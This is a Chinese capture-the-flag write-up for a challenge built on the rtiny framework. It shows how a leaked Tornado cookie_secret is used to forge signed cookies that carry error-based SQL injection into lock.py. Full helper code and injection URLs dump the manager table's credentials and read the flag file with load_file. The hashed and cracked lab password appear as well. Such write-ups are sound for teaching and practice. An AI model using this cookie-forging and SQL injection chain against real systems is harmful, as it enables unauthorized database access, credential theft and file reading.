题目:XSS平台
1. 报错回显
发现是rtiny框架,github找源码,最终找到如下:
- 在rtiny的index.py中得到tornado模块cookie加密用的cookie_secret.
- 发现lock.py页面存在注入漏洞,cookie中的username键会与数据库进行交互。
2. 编写tornado加密代码。
import tornado.ioloop
import tornado.web
import tornado.httpserver
import tornado.options
from tornado.options import define, options
define('port', default=8000, help='run port',type=int )
define('version', default='0.0.0.1', help='version', type=str)
settings = {
"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write('Hello LTT')
self.write('<br>')
payload = "' and 1=2 union select extractvalue(1,concat(0x5c,(%s)));#" %self.get_argument('payload', 'select version()')
self.write("payload:" + payload)
self.write('<br>')
self.set_secure_cookie("username",payload)
self.write(self.get_cookie("username"))
application = tornado.web.Application([
(r"/", MainHandler),
], **settings)
if __name__ == "__main__":
tornado.options.parse_command_line()
print(options.port)
print(options.version)
http_server = tornado.httpserver.HTTPServer(application)
application.listen(options.port)
tornado.ioloop.IOLoop.instance().start()
此代码会生成一个页面,如下
在生成的网站后面加上get参数pyload,运行后第2行会返回加密前的sql报错注入代码。第3行会转换上述代码成提交给lock.py网站的username键的cookie格式的值。
3. 开始注入
- 列库名、表名、字段名,没难度
-
爆数据
报错注入这时候输出不全了。使用mid读取一下未被显示的内容。
http://127.0.0.1:8000/?payload=mid((select group_concat(username,password) from manager),1,30) http://127.0.0.1:8000/?payload=mid((select group_concat(username,password) from manager),30,60)
拼接起来 ichuqiu|318a61264482e503090facfc4337207f
md5解密 ichuqiu|Myxss623
4. 读flag
登录之后,发现flag就在网站根目录下。文件名是f13g_ls_here.txt。
读文件
http://127.0.0.1:8000/?payload=(select load_file('/var/www/html/f13g_ls_here.txt'))
#不够长,继续mid参数读后面的内容。
http://127.0.0.1:8000/?payload=(select mid((load_file('/var/www/html/f13g_ls_here.txt')),15,45))
拼接后就是flag.